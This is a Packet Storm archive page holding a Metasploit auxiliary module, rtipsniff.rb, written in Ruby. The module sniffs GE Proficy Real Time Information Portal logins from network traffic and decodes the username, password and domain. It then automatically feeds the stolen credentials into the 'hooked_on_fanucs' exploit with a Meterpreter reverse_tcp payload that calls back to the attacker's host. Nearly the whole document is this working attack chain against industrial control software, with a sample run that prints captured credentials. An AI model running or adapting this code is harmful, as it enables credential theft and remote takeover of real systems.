Lucene search

K
packetstormH D MoorePACKETSTORM:71735
HistoryNov 09, 2008 - 12:00 a.m.

rtipsniff.rb.txt

2008-11-0900:00:00
H D Moore
packetstormsecurity.com
11
`##  
# $Id: rtipsniff.rb   
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
#  
# MacbookPro:metasploit kfinisterre$ cd /Users/kfinisterre/Desktop/metasploit; sudo ./msfcli auxiliary/test/rtipsniff INTERFACE=en1 E  
# [*] Opening the network interface...  
# [*] Sniffing RTIP login requests...  
# [*] Proficy RTIP Credentials -> user: Administrator pass: This was base64 encoded domain: ProficySniffTest  
#  
#   
#  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
include Msf::Exploit::Capture  
  
def initialize  
super(  
'Name' => 'GE Proficy Real Time Information Portal Credentials Leak',  
'Version' => '$Revision: 1 $',  
'Description' => 'This module sniffs RTIP login requests from the network',  
'Author' => ['hdm','kf'],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Sniffer' ]  
],  
'PassiveActions' =>   
[  
'Sniffer'  
],  
'DefaultAction' => 'Sniffer'  
)  
register_options([  
OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads']),  
OptPort.new('LPORT', [false, 'The starting TCP port number for reverse-connect payloads', 4444])  
], self.class)  
end  
  
def init_hooked_on_fanucs(name,user,pass,domain, rhost, targ = 0)  
targ ||= 0  
payload='windows/meterpreter/reverse_tcp'  
sploit = framework.modules.create(name)  
  
sploit.datastore['USERNAME'] = user  
sploit.datastore['PASSWORD'] = pass  
sploit.datastore['DOMAIN'] = domain  
sploit.datastore['RHOST'] = rhost  
sploit.datastore['LPORT'] = datastore['LPORT']  
sploit.datastore['LHOST'] = datastore['LHOST']  
sploit.exploit_simple(  
'LocalInput' => self.user_input,  
'LocalOutput' => self.user_output,  
'Target' => targ,  
'Payload' => payload,  
'RunAsJob' => true)  
end  
  
  
def run  
username = "a", password = "b", domain = "c"  
  
print_status("Opening the network interface...")  
open_pcap()  
  
print_status("Sniffing RTIP login requests...")  
each_packet() do |pkt|  
next if not pkt.tcp?  
  
if (pkt.payload =~ /\x56\x5d\x72\x2b\x30\xd7\xf2\xc6\x74/)  
  
marker = "\x56\x5d\x72\x2b\x30\xd7\xf2\xc6\x74"  
data = pkt.payload  
  
credentials = data.split(marker)[1].split("\x00")   
username = credentials[1]  
password = credentials[2]  
domain = credentials[3].split("\x01")[0]  
username = username[1..(username.length-2)]  
password = password[1..(password.length-2)].unpack("m")  
domain = domain[1..(domain.length-2)]  
print_status("Proficy RTIP Credentials -> user: #{username} pass: #{password} domain: #{domain} ip: #{pkt.ip_daddr}")  
  
init_hooked_on_fanucs('exploit/windows/misc/hooked_on_fanucs',"#{username}","#{password}","#{domain}", "#{pkt.ip_daddr}")  
end  
  
true  
end  
  
print_status("Finished sniffing")  
end  
  
end  
  
  
`